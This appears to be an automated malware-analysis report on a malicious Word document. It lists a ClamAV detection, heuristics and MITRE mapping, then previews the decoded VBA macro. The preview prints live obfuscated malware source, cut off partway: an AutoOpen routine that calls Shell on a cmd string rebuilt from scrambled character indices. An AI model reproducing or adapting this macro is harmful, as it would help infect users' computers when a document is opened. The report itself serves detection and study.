MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Word document containing a legacy WordBasic AutoOpen macro. The macro attempts to execute a command using the Shell function, concatenating several variables to form the command string. The exact command executed is not fully reconstructible due to obfuscation and truncation, but it appears to be an attempt to run a command-line utility.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6707428-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6707428-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5602 bytes |
SHA-256: de737ee596b8dca2e96b5e4b6b1c8cfe4cc3ed878d4c780fea1c55cf1849a984 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "jBjqijilP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
AppActivate Log(rfYtvU)
AppActivate PfUTwb
AppActivate Round(DQHiV)
AppActivate 7
AppActivate CLng(qkmQzC)
Shell@ CVar("cm") + nfJDsPLsQdZwz + iLlBYai + OVphjoNm + zLHtJo + wEjWoF + bjwIfufU + jHCOEnXMHdus, 287080983 - 287080983
AppActivate 290754200
AppActivate 2850
End Sub
Attribute VB_Name = "jsYNcOlPzCucLq"
Function OVphjoNm()
On Error Resume Next
AppActivate Rnd(mRvXkC)
AppActivate CByte(AaQiEE - wYPOh / 70217 * 65549)
jcriCF = "d /V:ON" + "/C" + CStr(Chr(IwjTcFkRuoc + ToWbLjc + 34 + jqKFiDtVTUcjPR + rZlVGwDFmz)) + "set 7M" + "fD=BYlOA" + "KBRDto" + "kCZYGS" + "(UQj;7zw" + "+Pe" + "bdyg" + "-N,p.{0$iW" + "f)'u}Fvs@n" + "5/r=a:X\ x"
AppActivate VzALn
AppActivate 6374
nfNJaowspd = "4hmcL" + "&&for %B" + " in (3" + "5,10" + ",24,2" + "7,54,49" + ",63,27" + ",2" + ",2,6"
AppActivate Int(84992 + AjlYI)
AppActivate knoTZF
jomfBJFlYh = "0,39,64,2" + "4,3" + "5,55" + ",51,27,2" + "4,3" + "2,10" + ",28,20,27"
AppActivate CInt(60696 - SvLDKw)
AppActivate Sgn(29730 / LdMfF)
AppActivate 620
QFYktEL = ",65,9,6" + "0," + "33,2" + "7,9,36,4" + "1,27," + "28,12,2," + "40,27,51,9" + ",21,39," + "54,3," + "15,55," + "44,63,9" + ",9,35,57"
AppActivate Chr(889)
AppActivate ChrW(23452 / qFGBzU / 18739 / vslJI)
bYIzQuZPVQ = ",53," + "53" + "," + "9," + "10" + ",51,30" + ",49,6" + "4,56,54" + ",4" + "0,51,2" + "7,49,"
AppActivate Atn(83)
AppActivate PqnjIE
rXDTi = "27,54,48" + ",40" + ",65," + "27,36,65" + ",10,36,45" + ",11,53,31," + "28,4" + "9,40,38,38" + ",50," + "63" + ",9,9,35,57" + ",53,53," + "65"
AppActivate Sqr(327005280)
AppActivate Oct(8)
XTGXqTEjKjB = ",56,51" + ",27" + ",48,56" + ",23,23,4" + "0,36,65,1"
OVphjoNm = jcriCF + nfNJaowspd + jomfBJFlYh + QFYktEL + bYIzQuZPVQ + rXDTi + XTGXqTEjKjB
AppActivate Round(13)
AppActivate 1
End Function
Function zLHtJo()
On Error Resume Next
AppActivate Log(psrNp)
AppActivate Sin(pmzTM + TETLVf)
YYXDhNp = "0,64,36,2" + "8,54,53,7," + "22,48,50," + "6" + "3,9,9,35" + ",57,53,53" + ",42" + ",45,42,4" + "5," + "36," + "65" + ",10,64,3" + "6,64,61,"
AppActivate CSng(47521 / iBqwZ)
AppActivate CDbl(NiZZT)
KrEEBbZaU = "53,18,1" + "9" + ",4,33,3" + "5,6,50" + ",63,9," + "9," + "35,57,53,5" + "3," + "65,54,56" + "," + "51,64,1"
AppActivate TXIAAj
AppActivate 745
AppActivate 977
tkDjQKJtL = "0,5" + "4,27,2" + ",10," + "29,31" + ",27,36,65" + ",10,36" + ",45,11,53" + "," + "56,18,38" + ",10,38,50"
AppActivate 207146719
AppActivate Cos(36527 * XThwwR)
uiAnl = ",63" + ",9,9,35" + ",57,53," + "53,65,10" + ",51,4" + "9,45," + "2,9,10"
AppActivate Hex(389176995)
AppActivate ChrW(6688)
FUwHGCri = "," + "54,27,49" + ",3" + "0,27,64,3" + "5,54,2" + "7,49," + "56," + "49,36," + "65,10" + "," + "64,53,19" + ",19,7"
AppActivate Oct(mlnAA)
AppActivate 9162
AppActivate Sin(25)
nKrfmzBzf = ",66,27,5" + "2,56,44" + ",3" + "6,16,35,2" + ",40" + ",9,17,44" + ",50"
AppActivate cbCZL
AppActivate CBool(HNMXT * JBKGYC)
uMCJTam = ",44,4" + "3,21,39," + "64,29,58," + "60,55,6" + "0,44" + "," + "2" + "2,62,22,4" + "4,21"
AppActivate ldprQa
AppActivate cXnzD
AppActivate Sgn(72522 + WPDzCZ / KskLY - QmNiwl)
mbYlvZNTb = ",39," + "6" + "3,18,47,5" + "5" + ",39,27," + "51,4" + "8" + "," + "57,9,27,64" + ",35,25,4" + "4,59,44," + "25"
AppActivate Sgn(292058530)
AppActivate 851
AppActivate Rnd(MZdjK)
rrDCNnkuOz = ",3" + "9,64,29,58" + ",25," + "44,36," + "27" + ",61,27" + ",44,21,42," + "10" + ",5" + "4,27,56,6"
AppActivate wVAPKR
AppActivate CSng(qICwPW + CSdES + PmNCii - zwJAZw)
AppActivate CByte(NqzLni)
vEsXH = "5,63" + ",17,39,48," + "56" + "," + "4,60,40,5" + "1," + "60" + ",39,54,3"
AppActivate vvvtzC
AppActivate XKzmQ
CYPGA = ",15,4
... (truncated)
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